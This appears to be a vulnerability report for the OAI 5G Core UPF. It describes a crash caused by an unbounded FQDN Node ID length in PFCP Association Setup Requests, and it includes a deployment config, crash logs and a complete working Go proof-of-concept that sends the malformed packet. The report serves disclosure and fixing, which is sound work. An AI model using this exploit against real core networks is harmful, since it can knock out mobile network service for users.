Skip to content

[Bug] UPF Crash on PFCP Association Setup Request with Oversized FQDN Node ID

OAI-CN-5G Release, Revision, or Tag

Description

A vulnerability in the PFCP Node ID IE parsing logic of the OAI 5G Core UPF allows a remote PFCP peer to crash the UPF process by sending a PFCP Association Setup Request with an excessively large FQDN Node ID. The parser allocates a stack buffer based directly on tlv.get_length() without enforcing an upper bound, leading to unbounded stack allocation and UPF crash.

Config

config.yaml

   ################################################################################
# Licensed to the OpenAirInterface (OAI) Software Alliance under one or more
# contributor license agreements.  See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The OpenAirInterface Software Alliance licenses this file to You under
# the OAI Public License, Version 1.1  (the "License"); you may not use this file
# except in compliance with the License.
# You may obtain a copy of the License at
#
#      http://www.openairinterface.org/?page_id=698
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#-------------------------------------------------------------------------------
# For more information about the OpenAirInterface (OAI) Software Alliance:
#      contact@openairinterface.org
################################################################################

# OAI CN Configuration File
### This file can be used by all OAI NFs
### Some fields are specific to an NF and will be ignored by other NFs
### The {{ env['ENV_NAME'] }} syntax lets you define these values in a docker-compose file
### If you intend to mount this file or use a bare-metal deployment, please refer to README.md
### The README.md also defines default values and allowed values for each configuration parameter

############# Common configuration

# Log level for all the NFs
log_level:
  general: debug

# If you enable registration, the other NFs will use the NRF discovery mechanism
register_nf:
  general: yes
  
http_version: 2

############## SBI Interfaces
### Each NF takes its local SBI interfaces and remote interfaces from here, unless it gets them using NRF discovery mechanisms
nfs:
  amf:
    host: oai-amf
    sbi:
      port: 8080
      api_version: v1
      interface_name: eth0
    n2:
      interface_name: eth0
      port: 38412
  smf:
    host: oai-smf
    sbi:
      port: 8080
      api_version: v1
      interface_name: eth0
    n4:
      interface_name: eth0
      port: 8805
  upf:
    host: oai-upf
    sbi:
      port: 8080
      api_version: v1
      interface_name: eth1
    n3:
      interface_name: eth0
      port: 2152
    n4:
      interface_name: eth0
      port: 8805
    n6:
      interface_name: eth1
    n9:
      interface_name: eth0
      port: 2152
  udm:
    host: oai-udm
    sbi:
      port: 8080
      api_version: v1
      interface_name: eth0
  udr:
    host: oai-udr
    sbi:
      port: 8080
      api_version: v1
      interface_name: eth0
  ausf:
    host: oai-ausf
    sbi:
      port: 8080
      api_version: v1
      interface_name: eth0
  nrf:
    host: oai-nrf
    sbi:
      port: 8080
      api_version: v1
      interface_name: eth0

#### Common for UDR and AMF
database:
  host: mysql
  user: test
  type: mysql
  password: test
  database_name: oai_db
  generate_random: true
  connection_timeout: 300 # seconds

## general single_nssai configuration
## Defines YAML anchors, which are reused in the config file
snssais:
  - &embb_slice
    sst: 1

############## NF-specific configuration
amf:
  pid_directory: "/var/run"
  amf_name: "OAI-AMF"
  # This really depends on if we want to keep the "mini" version or not
  support_features_options:
    enable_simple_scenario: no
    enable_nssf: no
    enable_smf_selection: yes
    use_external_udm: no
  relative_capacity: 30
  statistics_timer_interval: 20  #in seconds
  emergency_support: false
  served_guami_list:
    - mcc: 001
      mnc: 01
      amf_region_id: 01
      amf_set_id: 001
      amf_pointer: 01
  plmn_support_list:
    - mcc: 001
      mnc: 01
      tac: 0x0001
      nssai:
        - *embb_slice
  supported_integrity_algorithms:
    - "NIA1"
    - "NIA2"
  supported_encryption_algorithms:
    - "NEA0"
    - "NEA1"
    - "NEA2"

smf:
  ue_mtu: 1500
  support_features:
    use_local_subscription_info: yes # Use infos from local_subscription_info or from UDM
    use_local_pcc_rules: yes # Use infos from local_pcc_rules or from PCF
  # we resolve from NRF, this is just to configure usage_reporting
  upfs:
    - host: oai-upf
      config:
        enable_usage_reporting: no
  ue_dns:
    primary_ipv4: "1.1.1.1"
    primary_ipv6: "2001:4860:4860::8888"
    secondary_ipv4: "8.8.8.8"
    secondary_ipv6: "2001:4860:4860::8888"
  ims:
    pcscf_ipv4: "192.168.70.139"
    pcscf_ipv6: "fe80::7915:f408:1787:db8b"
  # the DNN you configure here should be configured in "dnns"
  # follows the SmfInfo datatype from 3GPP TS 29.510
  smf_info:
    sNssaiSmfInfoList:
      - sNssai: *embb_slice
        dnnSmfInfoList:
          - dnn: "oai"
          - dnn: "openairinterface"
          - dnn: "ims"
          - dnn: "default"
  local_subscription_infos:
    - single_nssai: *embb_slice
      dnn: "oai"
      qos_profile:
        5qi: 9
        session_ambr_ul: "10Gbps"
        session_ambr_dl: "10Gbps"
    - single_nssai: *embb_slice
      dnn: "openairinterface"
      qos_profile:
        5qi: 9
        session_ambr_ul: "10Gbps"
        session_ambr_dl: "10Gbps"
    - single_nssai: *embb_slice
      dnn: "ims"
      qos_profile:
        5qi: 9
        session_ambr_ul: "10Gbps"
        session_ambr_dl: "10Gbps"
    - single_nssai: *embb_slice
      dnn: "default"
      qos_profile:
        5qi: 9
        session_ambr_ul: "10Gbps"
        session_ambr_dl: "10Gbps"

upf:
  support_features:
    enable_bpf_datapath: off    # If "on": BPF is used as datapath else simpleswitch is used, DEFAULT= off
    enable_snat: yes           # If "on": Source natting is done for UE, DEFAULT= off
  remote_n6_gw: 127.0.0.1      # Dummy host since simple-switch does not use N6 GW
  smfs:
    - host: oai-smf            # To be used for PFCP association in case of no-NRF
  upf_info:
    sNssaiUpfInfoList:
      - sNssai: *embb_slice
        dnnUpfInfoList:
          - dnn: "oai"
          - dnn: "openairinterface"
          - dnn: "ims"
          - dnn: "default"

## DNN configuration
dnns:
  - dnn: "oai"
    pdu_session_type: "IPV4"
    ipv4_subnet: "10.0.0.0/24"
  - dnn: "openairinterface"
    pdu_session_type: "IPV4V6"
    ipv4_subnet: "10.0.1.0/24"
    ipv6_prefix: "2001:1:2::/64"
  - dnn: "ims"
    pdu_session_type: "IPV4V6"
    ipv4_subnet: "10.0.9.0/24"
    ipv6_prefix: "2001:1:2::/64"
  - dnn: "default"
    pdu_session_type: "IPV4V6"
    ipv4_subnet: "10.0.255.0/24"
    ipv6_prefix: "2001:1:2::/64"

Steps to reproduce

  1. Start a new go project inside a new folder: go mod init poc
  2. Create a main.go and paste the code below:
package main

import (
	"encoding/binary"
	"flag"
	"fmt"
	"log"
	"net"
)

// R1: trigger stack/VLA overflow in pfcp_node_id_ie::load_from by sending an


// oversized FQDN Node ID.


func main() {
	pfcpAddr := flag.String("pfcp", "127.0.0.1:8805", "PFCP target host:port")
	size := flag.Int("size", 60000, "Bytes to place in the Node ID FQDN field")
	msgType := flag.Uint("msg-type", 5, "PFCP message type (default Association Setup Request)")
	flag.Parse()

	ieValLen := *size
	if ieValLen < 1 {
		log.Fatalf("size must be >0")
	}
	// message_length is uint16; ensure it fits.
	if ieValLen+8 > 0xffff {
		log.Fatalf("size too large for PFCP header")
	}

	payload := buildPFCPPacket(byte(*msgType), 60 /* PFCP_IE_NODE_ID */, buildNodeIDValue(ieValLen))
	if err := sendPFCP(*pfcpAddr, payload); err != nil {
		log.Fatalf("send failed: %v", err)
	}
	log.Printf("sent R1 packet to %s (%d-byte FQDN)", *pfcpAddr, ieValLen)
}

func buildNodeIDValue(length int) []byte {
	v := make([]byte, length)
	v[0] = 0x02 // node_id_type = FQDN
	for i := 1; i < len(v); i++ {
		v[i] = 'a'
	}
	return v
}

func buildPFCPPacket(msgType byte, ieType uint16, ieValue []byte) []byte {
	ie := make([]byte, 4+len(ieValue))
	binary.BigEndian.PutUint16(ie[0:2], ieType)
	binary.BigEndian.PutUint16(ie[2:4], uint16(len(ieValue)))
	copy(ie[4:], ieValue)

	msgLen := 4 + len(ie) // 3-byte seq + 1-byte spare + IE
	if msgLen > 0xffff {
		log.Fatalf("message too long for PFCP header")
	}

	hdr := make([]byte, 8)
	hdr[0] = 0x20    // version=1, S=0
	hdr[1] = msgType // message type
	binary.BigEndian.PutUint16(hdr[2:4], uint16(msgLen))
	hdr[4], hdr[5], hdr[6] = 0, 0, 1 // sequence number
	hdr[7] = 0                       // message priority/spare

	return append(hdr, ie...)
}

func sendPFCP(addr string, pkt []byte) error {
	conn, err := net.Dial("udp", addr)
	if err != nil {
		return fmt.Errorf("dial PFCP: %w", err)
	}
	defer conn.Close()

	if _, err := conn.Write(pkt); err != nil {
		return fmt.Errorf("write PFCP: %w", err)
	}
	return nil
}
  1. Download required libraries: go mod tidy
  2. Run the program with the upf pfcp server address: go run ./main.go -pfcp 192.168.70.134:8805 -size 8192

Logs

[2025-11-30 07:44:18.496] [pfcp_switch] [info] Source NAT added
[2025-11-30 07:44:18.498] [pfcp_switch] [info] Route created
[2025-11-30 07:44:18.499] [pfcp_switch] [info] Source NAT added
[2025-11-30 07:44:18.501] [pfcp_switch] [info] Route created
[2025-11-30 07:44:18.502] [pfcp_switch] [info] Source NAT added
[2025-11-30 07:44:18.504] [pfcp_switch] [info] Route created
[2025-11-30 07:44:18.505] [pfcp_switch] [info] Source NAT added
[2025-11-30 07:44:18.505] [upf_app] [start] Started
[2025-11-30 07:44:19.331] [upf_n4 ] [info] handle_receive(34 bytes)
[2025-11-30 07:44:19.331] [upf_n4 ] [info] Handle SX ASSOCIATION SETUP REQUEST
[2025-11-30 07:44:23.488] [upf_n4 ] [info] TIME-OUT event timer id 2
[2025-11-30 07:44:29.332] [upf_n4 ] [info] handle_receive(16 bytes)
[2025-11-30 07:44:29.332] [upf_n4 ] [info] Received SX HEARTBEAT REQUEST
[2025-11-30 07:44:39.333] [upf_n4 ] [info] handle_receive(16 bytes)
[2025-11-30 07:44:39.333] [upf_n4 ] [info] Received SX HEARTBEAT REQUEST
[2025-11-30 07:44:46.677] [upf_n4 ] [info] handle_receive(8192 bytes)
terminate called after throwing an instance of 'std::length_error'
  what():  basic_string::append

Expected Behaviour

The UPF should validate Node ID IE length, reject unreasonably large FQDN values, and return an error without affecting process stability.

Observed Behaviour

Sending a PFCP Association Setup Request to UPF with a Node ID IE length of 8192 bytes causes pfcp_node_id_ie::load_from to allocate an 8 KB stack buffer overflow, crashing the UPF.

Edited by Ziyu Lin